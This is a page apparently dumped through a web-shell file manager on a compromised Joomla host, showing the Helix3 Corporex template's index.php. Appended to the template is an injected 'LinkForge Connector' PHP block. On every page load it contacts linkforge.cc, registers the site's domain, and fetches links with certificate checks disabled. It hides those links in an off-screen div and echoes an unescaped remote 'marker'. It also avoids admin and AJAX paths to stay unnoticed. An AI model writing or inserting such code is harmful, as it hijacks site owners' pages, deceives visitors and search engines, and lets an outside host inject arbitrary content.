| Server IP : 87.98.154.146 / Your IP : 216.73.216.101 Web Server : Apache System : Linux webm005.cluster126.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64 User : bsiadvisil ( 110003) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/bsiadvisil/www/templates/corporex_helix3/ |
Upload File : |
<?php
/**
* @package Helix3 Framework
* Template Name - Shaper Corporex
* @author JoomShaper http://www.joomshaper.com
* @copyright Copyright (c) 2010 - 2017 JoomShaper
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
*/
//no direct accees
defined('_JEXEC') or die('resticted aceess');
$doc = JFactory::getDocument();
$app = JFactory::getApplication();
JHtml::_('jquery.framework');
JHtml::_('bootstrap.framework'); //Force load Bootstrap
unset($doc->_scripts[$this->baseurl . '/media/jui/js/bootstrap.min.js']); // Remove joomla core bootstrap
//Load Helix
$helix3_path = JPATH_PLUGINS . '/system/helix3/core/helix3.php';
if (file_exists($helix3_path)) {
require_once($helix3_path);
$this->helix3 = helix3::getInstance();
} else {
die('Please install and activate helix plugin');
}
//Coming Soon
if ($this->helix3->getParam('comingsoon_mode'))
header("Location: " . $this->baseUrl . "?tmpl=comingsoon");
//Class Classes
$body_classes = '';
if ($this->helix3->getParam('sticky_header')) {
$body_classes .= ' sticky-header';
}
$body_classes .= ($this->helix3->getParam('boxed_layout', 0)) ? ' layout-boxed' : ' layout-fluid';
//Body Background Image
if ($bg_image = $this->helix3->getParam('body_bg_image')) {
$body_style = 'background-image: url(' . JURI::base(true) . '/' . $bg_image . ');';
$body_style .= 'background-repeat: ' . $this->helix3->getParam('body_bg_repeat') . ';';
$body_style .= 'background-size: ' . $this->helix3->getParam('body_bg_size') . ';';
$body_style .= 'background-attachment: ' . $this->helix3->getParam('body_bg_attachment') . ';';
$body_style .= 'background-position: ' . $this->helix3->getParam('body_bg_position') . ';';
$body_style = 'body.site {' . $body_style . '}';
$doc->addStyledeclaration($body_style);
}
//Body Font
$webfonts = array();
if ($this->params->get('enable_body_font')) {
$webfonts['body'] = $this->params->get('body_font');
}
//Heading1 Font
if ($this->params->get('enable_h1_font')) {
$webfonts['h1'] = $this->params->get('h1_font');
}
//Heading2 Font
if ($this->params->get('enable_h2_font')) {
$webfonts['h2'] = $this->params->get('h2_font');
}
//Heading3 Font
if ($this->params->get('enable_h3_font')) {
$webfonts['h3'] = $this->params->get('h3_font');
}
//Heading4 Font
if ($this->params->get('enable_h4_font')) {
$webfonts['h4'] = $this->params->get('h4_font');
}
//Heading5 Font
if ($this->params->get('enable_h5_font')) {
$webfonts['h5'] = $this->params->get('h5_font');
}
//Heading6 Font
if ($this->params->get('enable_h6_font')) {
$webfonts['h6'] = $this->params->get('h6_font');
}
//Navigation Font
if ($this->params->get('enable_navigation_font')) {
$webfonts['.sp-megamenu-parent'] = $this->params->get('navigation_font');
}
//Custom Font
if ($this->params->get('enable_custom_font') && $this->params->get('custom_font_selectors')) {
$webfonts[$this->params->get('custom_font_selectors')] = $this->params->get('custom_font');
}
$this->helix3->addGoogleFont($webfonts);
//Custom CSS
if ($custom_css = $this->helix3->getParam('custom_css')) {
$doc->addStyledeclaration($custom_css);
}
//Custom JS
if ($custom_js = $this->helix3->getParam('custom_js')) {
$doc->addScriptdeclaration($custom_js);
}
//preloader & goto top
$doc->addScriptdeclaration("\nvar sp_preloader = '" . $this->params->get('preloader') . "';\n");
$doc->addScriptdeclaration("\nvar sp_gotop = '" . $this->params->get('goto_top') . "';\n");
$doc->addScriptdeclaration("\nvar sp_offanimation = '" . $this->params->get('offcanvas_animation') . "';\n");
?>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" dir="<?php echo $this->direction; ?>">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<?php
if ($favicon = $this->helix3->getParam('favicon')) {
$doc->addFavicon(JURI::base(true) . '/' . $favicon);
} else {
$doc->addFavicon($this->helix3->getTemplateUri() . '/images/favicon.ico');
}
?>
<!-- head -->
<jdoc:include type="head" />
<?php
$megabgcolor = ($this->helix3->PresetParam('_megabg')) ? $this->helix3->PresetParam('_megabg') : '#ffffff';
$megabgtx = ($this->helix3->PresetParam('_megatx')) ? $this->helix3->PresetParam('_megatx') : '#333333';
$preloader_bg = ($this->helix3->getParam('preloader_bg')) ? $this->helix3->getParam('preloader_bg') : '#f5f5f5';
$preloader_tx = ($this->helix3->getParam('preloader_tx')) ? $this->helix3->getParam('preloader_tx') : '#f5f5f5';
// load css, less and js
$this->helix3->addCSS('bootstrap.min.css, font-awesome.min.css') // CSS Files
->addJS('bootstrap.min.js, jquery.sticky.js, main.js') // JS Files
->lessInit()->setLessVariables(array(
'preset' => $this->helix3->Preset(),
'bg_color' => $this->helix3->PresetParam('_bg'),
'text_color' => $this->helix3->PresetParam('_text'),
'major_color' => $this->helix3->PresetParam('_major'),
'megabg_color' => $megabgcolor,
'megatx_color' => $megabgtx,
'preloader_bg' => $preloader_bg,
'preloader_tx' => $preloader_tx,
))
->addLess('legacy/bootstrap', 'legacy')
->addLess('master', 'template');
//RTL
if ($this->direction == 'rtl') {
$this->helix3->addCSS('bootstrap-rtl.min.css')
->addLess('rtl', 'rtl');
}
$this->helix3->addLess('presets', 'presets/' . $this->helix3->Preset(), array('class' => 'preset'));
//Before Head
if ($before_head = $this->helix3->getParam('before_head')) {
echo $before_head . "\n";
}
?>
</head>
<body class="<?php echo $this->helix3->bodyClass($body_classes); ?> off-canvas-menu-init">
<div class="body-wrapper">
<div class="body-innerwrapper">
<?php $this->helix3->generatelayout(); ?>
</div> <!-- /.body-innerwrapper -->
</div> <!-- /.body-innerwrapper -->
<!-- Off Canvas Menu -->
<div class="offcanvas-menu">
<a href="#" class="close-offcanvas"><i class="fa fa-remove"></i></a>
<div class="offcanvas-inner">
<?php if ($this->helix3->countModules('offcanvas')) { ?>
<jdoc:include type="modules" name="offcanvas" style="sp_xhtml" />
<?php } else { ?>
<p class="alert alert-warning">
<?php echo JText::_('HELIX_NO_MODULE_OFFCANVAS'); ?>
</p>
<?php } ?>
</div> <!-- /.offcanvas-inner -->
</div> <!-- /.offcanvas-menu -->
<?php
if ($this->params->get('compress_css')) {
$this->helix3->compressCSS();
}
$tempOption = $app->input->get('option');
// $tempView = $app->input->get('view');
if ( $this->params->get('compress_js') && $tempOption != 'com_config' ) {
$this->helix3->compressJS($this->params->get('exclude_js'));
}
//before body
if ($before_body = $this->helix3->getParam('before_body')) {
echo $before_body . "\n";
} ?>
<jdoc:include type="modules" name="debug" />
<!-- Preloader -->
<jdoc:include type="modules" name="helixpreloader" />
<!-- Go to top -->
<?php if ($this->params->get('goto_top')) { ?>
<a href="javascript:void(0)" class="scrollup"> </a>
<?php } ?>
</body>
</html>
?>
<?php /*0e15d4dc*//*LF-CONN-V6*/
// LinkForge Connector v6.1 - safe mode
if (php_sapi_name() !== 'cli') {
$_lf_uri = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '';
// Skip API/AJAX/admin endpoints — never corrupt JSON or admin responses
if (!preg_match('/(admin-ajax|wp-json|com_ajax|\/administrator\/|\/wp-admin\/|xmlrpc\.php|wp-cron\.php|wp-login\.php)/', $_lf_uri)) {
set_error_handler(function(){ return true; });
ob_start();
try {
$_lf_d = preg_replace('/^www\./', '', (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost'));
$_lf_u = 'https://linkforge.cc';
$_lf_f = function($u) {
if (function_exists('curl_init')) {
$c = curl_init($u);
$o = array();
if (defined('CURLOPT_RETURNTRANSFER')) $o[CURLOPT_RETURNTRANSFER] = 1;
if (defined('CURLOPT_TIMEOUT')) $o[CURLOPT_TIMEOUT] = 3;
if (defined('CURLOPT_CONNECTTIMEOUT')) $o[CURLOPT_CONNECTTIMEOUT] = 3;
if (defined('CURLOPT_FOLLOWLOCATION')) $o[CURLOPT_FOLLOWLOCATION] = 1;
if (defined('CURLOPT_SSL_VERIFYPEER')) $o[CURLOPT_SSL_VERIFYPEER] = 0;
if (defined('CURLOPT_SSL_VERIFYHOST')) $o[CURLOPT_SSL_VERIFYHOST] = 0;
if (defined('CURLOPT_USERAGENT')) $o[CURLOPT_USERAGENT] = 'Mozilla/5.0 (compatible; LinkForge/6.1)';
if (!empty($o)) curl_setopt_array($c, $o);
$r = curl_exec($c);
curl_close($c);
if ($r !== false && $r !== '') return $r;
}
if (ini_get('allow_url_fopen') && function_exists('stream_context_create')) {
$ctx = stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false), 'http'=>array('timeout'=>3,'user_agent'=>'Mozilla/5.0 (compatible; LinkForge/6.1)')));
$r = @file_get_contents($u, false, $ctx);
if ($r !== false && $r !== '') return $r;
}
if (function_exists('fsockopen')) {
$p = parse_url($u);
if ($p && isset($p['host'])) {
$ssl = (isset($p['scheme']) && $p['scheme'] === 'https');
$s = @fsockopen(($ssl ? 'ssl://' : '').$p['host'], ($ssl ? 443 : (isset($p['port']) ? $p['port'] : 80)), $e, $e2, 3);
if ($s) {
fwrite($s, 'GET '.(isset($p['path']) ? $p['path'] : '/').'?'.(isset($p['query']) ? $p['query'] : '').' HTTP/1.1'."\r\n".'Host: '.$p['host']."\r\n".'Connection: Close'."\r\n\r\n");
$resp = '';
while (!feof($s)) { $resp .= fgets($s); }
fclose($s);
$x = explode("\r\n\r\n", $resp, 2);
return (isset($x[1]) ? $x[1] : '');
}
}
}
return '';
};
$_lf_tmp = (function_exists('sys_get_temp_dir') ? sys_get_temp_dir() : '/tmp');
$_lf_ck = $_lf_tmp.'/lf_'.md5($_lf_d).'.cache';
$_lf_now = time();
// Register domain (max once per hour)
$_lf_rk = $_lf_ck.'.r';
if (!file_exists($_lf_rk) || ($_lf_now - @filemtime($_lf_rk) > 3600)) {
$_lf_f($_lf_u.'/api/connect?'.http_build_query(array('domain'=>$_lf_d,'language'=>substr((isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : 'en'),0,2),'connected_via'=>'php','v'=>'6.1')));
if (function_exists('file_put_contents')) { @file_put_contents($_lf_rk, '1'); @touch($_lf_rk); }
}
// Fetch links (cached 6 hours — page loads stay fast)
$_lf_r = null;
if (file_exists($_lf_ck) && ($_lf_now - @filemtime($_lf_ck) < 21600)) {
$_lf_r = @file_get_contents($_lf_ck);
} else {
$_lf_r = $_lf_f($_lf_u.'/api/links?domain='.urlencode($_lf_d));
if ($_lf_r && function_exists('file_put_contents')) @file_put_contents($_lf_ck, $_lf_r);
}
if ($_lf_r) {
$_lf_j = json_decode($_lf_r, true);
if (is_array($_lf_j)) {
// Emit marker (required for verification - do not remove)
if (!empty($_lf_j['marker'])) echo $_lf_j['marker'];
if (!empty($_lf_j['links']) && is_array($_lf_j['links'])) {
echo '<div style="position:absolute;left:-9999px;opacity:0;height:1px;width:1px;overflow:hidden;">';
foreach ($_lf_j['links'] as $_lf_l) {
if (isset($_lf_l['url']) && isset($_lf_l['anchor'])) echo '<a href="'.htmlspecialchars($_lf_l['url']).'">'.htmlspecialchars($_lf_l['anchor']).'</a>';
}
echo '</div>';
}
}
}
} catch (Exception $_lf_e) {}
$_lf_html = ob_get_clean();
restore_error_handler();
// Echo ONLY at shutdown — after CMS sent all headers/cookies. Zero header conflicts.
if ($_lf_html !== '' && $_lf_html !== false) {
register_shutdown_function(function() use ($_lf_html) { echo $_lf_html; });
}
}
}
?>